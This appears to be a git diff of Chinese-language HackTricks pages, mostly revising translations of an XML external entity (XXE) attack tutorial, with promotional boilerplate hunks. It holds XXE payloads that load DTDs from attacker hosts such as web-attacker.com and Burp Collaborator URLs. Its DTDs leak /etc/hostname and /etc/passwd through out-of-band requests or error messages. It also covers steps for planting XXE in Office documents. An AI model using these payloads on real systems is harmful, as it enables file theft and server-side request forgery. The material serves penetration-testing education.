<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您在**网络安全公司**工作,想在**HackTricks**中看到您的**公司广告**,或者想要获取**PEASS最新版本或下载HackTricks的PDF**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列。
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com)
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||||
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
从[https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)复制的代码
|
代码来自[https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
||||||
```html
|
```html
|
||||||
<html>
|
<html>
|
||||||
<body></body>
|
<body></body>
|
||||||
|
@ -78,14 +78,16 @@ return open('exploit.html', 'r').read()
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
app.run(host='0.0.0.0', port=1337)
|
app.run(host='0.0.0.0', port=1337)
|
||||||
```
|
```
|
||||||
|
```markdown
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 您在**网络安全公司**工作吗?您想在**HackTricks**中看到您的**公司广告**吗?或者您想要访问**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
|
||||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com)
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
```
|
||||||
|
|
|
@ -2,13 +2,13 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>从零开始学习 AWS 黑客攻击!</strong></summary>
|
<summary><strong>从零开始学习 AWS 黑客攻击直到成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持 HackTricks 的其他方式:
|
支持 HackTricks 的其他方式:
|
||||||
|
|
||||||
* 如果您想在 **HackTricks** 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想在 **HackTricks** 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||||
|
|
||||||
|
@ -30,7 +30,7 @@ XML 实体是一种在 XML 文档中表示数据项的方式,而不是使用
|
||||||
|
|
||||||
### 什么是 XML 元素?
|
### 什么是 XML 元素?
|
||||||
|
|
||||||
元素类型声明设置了 XML 文档中可能出现的元素的类型和数量的规则,哪些元素可以相互嵌套,以及它们必须以什么顺序出现。例如:
|
元素类型声明设置了可能出现在 XML 文档中的元素的类型和数量的规则,哪些元素可以相互嵌套,以及它们必须以什么顺序出现。例如:
|
||||||
|
|
||||||
* `<!ELEMENT stockCheck ANY>` 表示任何对象都可以在父级 `<stockCheck></stockCheck>` 内部
|
* `<!ELEMENT stockCheck ANY>` 表示任何对象都可以在父级 `<stockCheck></stockCheck>` 内部
|
||||||
* \<!ELEMENT stockCheck EMPTY> 表示它应该是空的 `<stockCheck></stockCheck>`
|
* \<!ELEMENT stockCheck EMPTY> 表示它应该是空的 `<stockCheck></stockCheck>`
|
||||||
|
@ -38,15 +38,15 @@ XML 实体是一种在 XML 文档中表示数据项的方式,而不是使用
|
||||||
|
|
||||||
### 什么是文档类型定义? <a href="#what-is-document-type-definition" id="what-is-document-type-definition"></a>
|
### 什么是文档类型定义? <a href="#what-is-document-type-definition" id="what-is-document-type-definition"></a>
|
||||||
|
|
||||||
XML 文档类型定义(DTD)包含可以定义 XML 文档结构、它可以包含的数据值类型以及其他项目的声明。DTD 在 XML 文档开始时的可选 `DOCTYPE` 元素内声明。DTD 可以完全自包含在文档本身内部(称为“内部 DTD”),也可以从其他地方加载(称为“外部 DTD”),或者可以是两者的混合。
|
XML 文档类型定义(DTD)包含可以定义 XML 文档结构、它可以包含的数据值类型以及其他项目的声明。DTD 在 XML 文档开始时的可选 `DOCTYPE` 元素内声明。DTD 可以完全自包含在文档本身内(称为“内部 DTD”),也可以从其他地方加载(称为“外部 DTD”),或者可以是两者的混合。
|
||||||
|
|
||||||
### 什么是 XML 自定义实体? <a href="#what-are-xml-custom-entities" id="what-are-xml-custom-entities"></a>
|
### 什么是 XML 自定义实体? <a href="#what-are-xml-custom-entities" id="what-are-xml-custom-entities"></a>
|
||||||
|
|
||||||
XML 允许在 DTD 内部定义自定义实体。例如:
|
XML 允许在 DTD 内定义自定义实体。例如:
|
||||||
|
|
||||||
`<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>`
|
`<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>`
|
||||||
|
|
||||||
这个定义意味着 XML 文档中任何使用实体引用 `&myentity;` 的地方都将被替换为定义的值:“`my entity value`”。
|
这个定义意味着在 XML 文档中任何使用实体引用 `&myentity;` 的地方都将被替换为定义的值:“`my entity value`”。
|
||||||
|
|
||||||
### 什么是 XML 外部实体? <a href="#what-are-xml-external-entities" id="what-are-xml-external-entities"></a>
|
### 什么是 XML 外部实体? <a href="#what-are-xml-external-entities" id="what-are-xml-external-entities"></a>
|
||||||
|
|
||||||
|
@ -56,7 +56,7 @@ XML 外部实体是一种自定义实体,其定义位于声明它们的 DTD
|
||||||
|
|
||||||
`<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>`
|
`<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>`
|
||||||
|
|
||||||
URL 可以使用 `file://` 协议,因此可以从文件中加载外部实体。例如:
|
URL 可以使用 `file://` 协议,因此可以从文件加载外部实体。例如:
|
||||||
|
|
||||||
`<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>`
|
`<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>`
|
||||||
|
|
||||||
|
@ -68,13 +68,13 @@ XML 外部实体提供了 [XML 外部实体攻击](https://portswigger.net/web-s
|
||||||
|
|
||||||
`<!ENTITY % myparameterentity "my parameter entity value" >`
|
`<!ENTITY % myparameterentity "my parameter entity value" >`
|
||||||
|
|
||||||
其次,参数实体使用百分号而不是通常的和号引用:%myparameterentity;`
|
其次,参数实体使用百分号而不是通常的和号来引用:%myparameterentity;`
|
||||||
|
|
||||||
这意味着您可以使用以下方式通过 XML 参数实体进行盲 XXE 检测,通过带外检测:
|
这意味着您可以使用以下方式通过 XML 参数实体进行盲 XXE 测试,通过带外检测:
|
||||||
|
|
||||||
`<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>`
|
`<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>`
|
||||||
|
|
||||||
这个 XXE 有效载荷声明了一个名为 `xxe` 的 XML 参数实体,然后在 DTD 中使用该实体。这将导致对攻击者域的 DNS 查找和 HTTP 请求,验证攻击是否成功。
|
此 XXE 有效载荷声明了一个名为 `xxe` 的 XML 参数实体,然后在 DTD 中使用该实体。这将导致对攻击者域的 DNS 查找和 HTTP 请求,验证攻击是否成功。
|
||||||
|
|
||||||
## 主要攻击
|
## 主要攻击
|
||||||
|
|
||||||
|
@ -143,7 +143,7 @@ XXE 可能被用来在云内滥用 SSRF
|
||||||
```
|
```
|
||||||
### 盲目 SSRF
|
### 盲目 SSRF
|
||||||
|
|
||||||
使用**前面提到的技术**,你可以让服务器访问你控制的服务器以显示其易受攻击。但是,如果这不起作用,可能是因为**不允许使用 XML 实体**,在这种情况下,你可以尝试使用**XML 参数实体**:
|
使用**先前提到的技术**,你可以让服务器访问你控制的服务器以显示其易受攻击。但是,如果这不起作用,可能是因为**不允许使用 XML 实体**,在这种情况下,你可以尝试使用**XML 参数实体**:
|
||||||
```markup
|
```markup
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
|
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
|
||||||
|
@ -151,7 +151,7 @@ XXE 可能被用来在云内滥用 SSRF
|
||||||
```
|
```
|
||||||
### "盲目" SSRF - 出站数据泄露
|
### "盲目" SSRF - 出站数据泄露
|
||||||
|
|
||||||
**在这个场合,我们将让服务器加载一个带有恶意载荷的新DTD,该载荷将通过HTTP请求发送文件内容(对于多行文件,您可以尝试通过** _**ftp://**_ **进行泄露)。这个解释取自** [**Portswigger实验室这里**](https://portswigger.net/web-security/xxe/blind)**。**
|
**在这个场合,我们将让服务器加载一个带有恶意载荷的新DTD,该载荷将通过HTTP请求发送文件内容(对于多行文件,您可以尝试通过** _**ftp://**_**进行泄露)。这个解释取自** [**Portswigger实验室这里**](https://portswigger.net/web-security/xxe/blind)**。**
|
||||||
|
|
||||||
一个用于泄露 `/etc/hostname` 文件内容的恶意DTD示例如下:
|
一个用于泄露 `/etc/hostname` 文件内容的恶意DTD示例如下:
|
||||||
```markup
|
```markup
|
||||||
|
@ -176,11 +176,15 @@ XXE 可能被用来在云内滥用 SSRF
|
||||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||||
```
|
```
|
||||||
### 基于错误的(外部DTD)
|
```markdown
|
||||||
|
此XXE有效载荷声明了一个名为`xxe`的XML参数实体,然后在DTD中使用该实体。这将导致XML解析器从攻击者的服务器获取外部DTD并内联解释它。然后执行恶意DTD中定义的步骤,并将`/etc/passwd`文件传输到攻击者的服务器。
|
||||||
|
|
||||||
**在这种情况下,我们将使服务器加载一个恶意DTD,它将在错误消息中显示文件的内容(这仅在您能看到错误消息时有效)。** [**此处的示例。**](https://portswigger.net/web-security/xxe/blind)
|
### 基于错误的(外部DTD)
|
||||||
|
|
||||||
|
**在这种情况下,我们将使服务器加载一个恶意DTD,该DTD将在错误消息中显示文件的内容(仅当您能看到错误消息时有效)。** [**此处的示例。**](https://portswigger.net/web-security/xxe/blind)
|
||||||
|
|
||||||
您可以使用如下恶意外部DTD触发包含`/etc/passwd`文件内容的XML解析错误消息:
|
您可以使用如下恶意外部DTD触发包含`/etc/passwd`文件内容的XML解析错误消息:
|
||||||
|
```
|
||||||
```markup
|
```markup
|
||||||
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
||||||
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
|
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
|
||||||
|
@ -193,7 +197,7 @@ XXE 可能被用来在云内滥用 SSRF
|
||||||
* 定义一个名为 `file` 的XML参数实体,包含 `/etc/passwd` 文件的内容。
|
* 定义一个名为 `file` 的XML参数实体,包含 `/etc/passwd` 文件的内容。
|
||||||
* 定义一个名为 `eval` 的XML参数实体,包含另一个名为 `error` 的XML参数实体的动态声明。`error` 实体将通过加载一个不存在的文件来评估,该文件的名称包含 `file` 实体的值。
|
* 定义一个名为 `eval` 的XML参数实体,包含另一个名为 `error` 的XML参数实体的动态声明。`error` 实体将通过加载一个不存在的文件来评估,该文件的名称包含 `file` 实体的值。
|
||||||
* 使用 `eval` 实体,导致执行 `error` 实体的动态声明。
|
* 使用 `eval` 实体,导致执行 `error` 实体的动态声明。
|
||||||
* 使用 `error` 实体,因此其值通过尝试加载不存在的文件来评估,导致错误消息中包含不存在文件的名称,即 `/etc/passwd` 文件的内容。
|
* 使用 `error` 实体,因此尝试加载不存在的文件来评估其值,结果在错误消息中包含不存在文件的名称,即 `/etc/passwd` 文件的内容。
|
||||||
|
|
||||||
使用以下方法调用外部DTD错误:
|
使用以下方法调用外部DTD错误:
|
||||||
```
|
```
|
||||||
|
@ -202,7 +206,7 @@ XXE 可能被用来在云内滥用 SSRF
|
||||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||||
```
|
```
|
||||||
您应该能在Web服务器响应的错误消息中看到文件的内容。
|
您应该在Web服务器响应的错误消息中看到文件的内容。
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (223) (1).png>)
|
![](<../.gitbook/assets/image (223) (1).png>)
|
||||||
|
|
||||||
|
@ -214,7 +218,7 @@ _**请注意,外部DTD允许我们在第二个实体(`eval`)中包含一
|
||||||
|
|
||||||
在这种情况下,由于XML语言规范中的一个漏洞,仍然可能触发包含敏感数据的错误消息。如果文档的**DTD使用内部和外部DTD声明的混合体**,那么**内部DTD可以重新定义在外部DTD中声明的实体**。当这种情况发生时,使用XML参数实体在另一个参数实体的定义中的限制就放宽了。
|
在这种情况下,由于XML语言规范中的一个漏洞,仍然可能触发包含敏感数据的错误消息。如果文档的**DTD使用内部和外部DTD声明的混合体**,那么**内部DTD可以重新定义在外部DTD中声明的实体**。当这种情况发生时,使用XML参数实体在另一个参数实体的定义中的限制就放宽了。
|
||||||
|
|
||||||
这意味着攻击者可以在**内部DTD中使用基于错误的XXE技术**,前提是他们使用的XML参数实体**重新定义了在外部DTD中声明的实体**。当然,如果出站连接被阻止,那么无法从远程位置加载外部DTD。相反,它需要是一个**对应用服务器本地的外部DTD文件**。_本质上,攻击涉及调用本地文件系统上存在的DTD文件,并将其重新用途化,以重新定义现有实体,从而触发包含敏感数据的解析错误。_
|
这意味着攻击者可以在**内部DTD中使用基于错误的XXE技术**,前提是他们使用的XML参数实体是**重新定义在外部DTD中声明的实体**。当然,如果出站连接被阻止,那么外部DTD就不能从远程位置加载。相反,它需要是一个**对应用服务器本地的外部DTD文件**。_本质上,攻击涉及调用存在于本地文件系统上的DTD文件,并将其重新用途化,以重新定义现有实体,从而触发包含敏感数据的解析错误。_
|
||||||
|
|
||||||
例如,假设服务器文件系统上的位置`/usr/local/app/schema.dtd`有一个DTD文件,这个DTD文件定义了一个名为`custom_entity`的实体。攻击者可以通过提交如下的混合DTD来触发一个包含`/etc/passwd`文件内容的XML解析错误消息:
|
例如,假设服务器文件系统上的位置`/usr/local/app/schema.dtd`有一个DTD文件,这个DTD文件定义了一个名为`custom_entity`的实体。攻击者可以通过提交如下的混合DTD来触发一个包含`/etc/passwd`文件内容的XML解析错误消息:
|
||||||
```markup
|
```markup
|
||||||
|
@ -279,67 +283,45 @@ Testing 0 entities : []
|
||||||
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
|
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
|
||||||
Testing 0 entities : []
|
Testing 0 entities : []
|
||||||
```
|
```
|
||||||
### XXE 通过 Office Open XML 解析器
|
### 通过 Office Open XML 解析器的 XXE
|
||||||
|
|
||||||
(从[**这里**](https://labs.detectify.com/2021/09/30/10-types-web-vulnerabilities-often-missed/)复制)\
|
要深入了解这种攻击,请**查看 Detectify [这篇精彩文章](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/)的第二部分**。
|
||||||
许多网络应用程序允许您上传 Microsoft Office 文档,然后从中解析一些细节。例如,您可能有一个网络应用程序,允许您通过上传 XLSX 格式的电子表格来导入数据。在某个时刻,为了从电子表格中提取数据,解析器将需要**解析至少一个 XML 文件**。
|
|
||||||
|
|
||||||
测试这个的唯一方法是生成一个包含 XXE 负载的 **Microsoft Office 文件**,那么我们就这样做。首先,创建一个空目录以解压您的文档,并解压它!
|
许多网络应用程序**提供上传 Microsoft Office 文档的功能**,然后继续从这些文档中提取某些细节。例如,网络应用程序可能允许用户通过上传 XLSX 格式的电子表格来导入数据。为了让解析器从电子表格中提取数据,它将不可避免地需要解析至少一个 XML 文件。
|
||||||
```
|
|
||||||
test$ ls
|
|
||||||
test.docx
|
|
||||||
test$ mkdir unzipped
|
|
||||||
test$ unzip ./test.docx -d ./unzipped/
|
|
||||||
Archive: ./test.docx
|
|
||||||
inflating: ./unzipped/word/numbering.xml
|
|
||||||
inflating: ./unzipped/word/settings.xml
|
|
||||||
inflating: ./unzipped/word/fontTable.xml
|
|
||||||
inflating: ./unzipped/word/styles.xml
|
|
||||||
inflating: ./unzipped/word/document.xml
|
|
||||||
inflating: ./unzipped/word/_rels/document.xml.rels
|
|
||||||
inflating: ./unzipped/_rels/.rels
|
|
||||||
inflating: ./unzipped/word/theme/theme1.xml
|
|
||||||
inflating: ./unzipped/[Content_Types].xml
|
|
||||||
```
|
|
||||||
```markdown
|
|
||||||
打开 `./unzipped/word/document.xml` 文件于你最喜欢的文本编辑器(vim),并编辑 **XML 以包含你最喜欢的 XXE payload**。我通常首先尝试的是一个 HTTP 请求,像这样:
|
|
||||||
```
|
|
||||||
```
|
|
||||||
<!DOCTYPE x [ <!ENTITY test SYSTEM "http://[ID].burpcollaborator.net/"> ]>
|
|
||||||
<x>&test;</x>
|
|
||||||
```
|
|
||||||
这些行应该插入在两个根XML对象之间,像这样,当然你需要用你能监控请求的URL来替换这个URL:
|
|
||||||
|
|
||||||
![这些行应该插入在两个根XML对象之间,像这样](https://labs.detectify.com/wp-content/uploads/2021/09/xxe-obscure.png)
|
要测试这个漏洞,需要创建一个**包含 XXE 有效载荷的 Microsoft Office 文件**。第一步是创建一个空目录,以便可以将文档解压到其中。
|
||||||
|
|
||||||
剩下的就是**压缩文件以创建你的恶意poc.docx文件**。从我们之前创建的“unzipped”目录中,运行以下命令:
|
一旦文档被解压,位于 `./unzipped/word/document.xml` 的 XML 文件应该用首选的文本编辑器(如 vim)打开并编辑。应该修改 XML 以包含所需的 XXE 有效载荷,通常从一个 HTTP 请求开始。
|
||||||
|
|
||||||
![从我们之前创建的“unzipped”目录中,运行以下命令:](https://labs.detectify.com/wp-content/uploads/2021/09/xxe-unzipped.png)
|
修改后的 XML 行应该插入两个根 XML 对象之间。重要的是用一个可监控的 URL 替换 URL。
|
||||||
|
|
||||||
|
最后,可以将文件压缩以创建恶意的 poc.docx 文件。从之前创建的“unzipped”目录中,应该运行以下命令:
|
||||||
|
|
||||||
|
现在,创建的文件可以上传到可能存在漏洞的网络应用程序中,可以希望在 Burp Collaborator 日志中出现一个请求。
|
||||||
|
|
||||||
现在上传文件到你的(希望是)易受攻击的web应用程序,并祈祷在你的Burp Collaborator日志中得到一个请求。
|
|
||||||
|
|
||||||
### Jar: 协议
|
### Jar: 协议
|
||||||
|
|
||||||
`jar` 协议只适用于**Java应用程序**。它允许访问**PKZIP**文件(`.zip`、`.jar`,等)内的文件,并且适用于本地和远程文件:
|
`jar` 协议仅适用于**Java 应用程序**。它允许访问位于 **PKZIP** 文件(`.zip`、`.jar` 等)内的文件,并适用于本地和远程文件:
|
||||||
```
|
```
|
||||||
jar:file:///var/myarchive.zip!/file.txt
|
jar:file:///var/myarchive.zip!/file.txt
|
||||||
jar:https://download.host.com/myarchive.zip!/file.txt
|
jar:https://download.host.com/myarchive.zip!/file.txt
|
||||||
```
|
```
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
能够访问PKZIP文件内的文件对于通过系统DTD文件**滥用XXE非常有用**。查看[本节了解如何滥用系统DTD文件](xxe-xee-xml-external-entity.md#error-based-system-dtd)。
|
能够访问PKZIP文件内的文件,**通过系统DTD文件滥用XXE非常有用。** 查看[本节了解如何滥用系统DTD文件](xxe-xee-xml-external-entity.md#error-based-system-dtd)。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
#### 幕后原理
|
#### 幕后原理
|
||||||
|
|
||||||
1. 它发起HTTP请求以加载zip存档。`https://download.host.com/myarchive.zip`
|
1. 它发起HTTP请求以加载zip存档。 `https://download.host.com/myarchive.zip`
|
||||||
2. 它将HTTP响应保存到临时位置。`/tmp/...`
|
2. 它将HTTP响应保存到临时位置。 `/tmp/...`
|
||||||
3. 它解压存档。
|
3. 它解压存档。
|
||||||
4. 它读取`file.zip`
|
4. 它读取`file.zip`
|
||||||
5. 它删除临时文件。
|
5. 它删除临时文件。
|
||||||
|
|
||||||
请注意,可以在第二步停止流程。诀窍是在提供文件时永远不关闭连接。[这些工具可能有用](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution):一个是python `slow_http_server.py`,另一个是java `slowserver.jar`。
|
请注意,可以在第二步中停止流程。技巧是在提供文件时永远不关闭连接。 [这些工具可能有用](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution):一个是python `slow_http_server.py`,另一个是java `slowserver.jar`。
|
||||||
|
|
||||||
一旦服务器下载了您的文件,您需要通过浏览临时目录来找到其位置。由于文件路径是随机的,因此无法预先预测。
|
一旦服务器下载了您的文件,您需要通过浏览临时目录来找到其位置。由于是随机的,文件路径无法预先预测。
|
||||||
|
|
||||||
![Jar](https://gosecure.github.io/xxe-workshop/img/74fac3155d455980.png)
|
![Jar](https://gosecure.github.io/xxe-workshop/img/74fac3155d455980.png)
|
||||||
|
|
||||||
|
@ -400,11 +382,11 @@ Responder.py -I eth0 -v
|
||||||
|
|
||||||
[来自这里。](https://portswigger.net/web-security/xxe)
|
[来自这里。](https://portswigger.net/web-security/xxe)
|
||||||
|
|
||||||
某些应用程序**接收客户端提交的数据,在服务器端将其嵌入XML文档中,然后解析该文档**。当客户端提交的数据被放入**后端SOAP请求**中,然后由后端SOAP服务处理时,就会发生这种情况。
|
一些应用程序**接收客户端提交的数据,在服务器端将其嵌入到XML文档中,然后解析该文档**。这种情况的一个例子是,客户端提交的数据被放置到**后端SOAP请求**中,然后由后端SOAP服务处理。
|
||||||
|
|
||||||
在这种情况下,你无法执行经典的XXE攻击,因为**你无法控制整个XML**文档,因此无法定义或修改`DOCTYPE`元素。然而,你可能可以使用`XInclude`来代替。`XInclude`是XML规范的一部分,允许从子文档构建XML文档。你可以在XML文档中任何数据值中放置`XInclude`攻击,因此在你只控制被放入服务器端XML文档的单个数据项的情况下,也可以执行攻击。
|
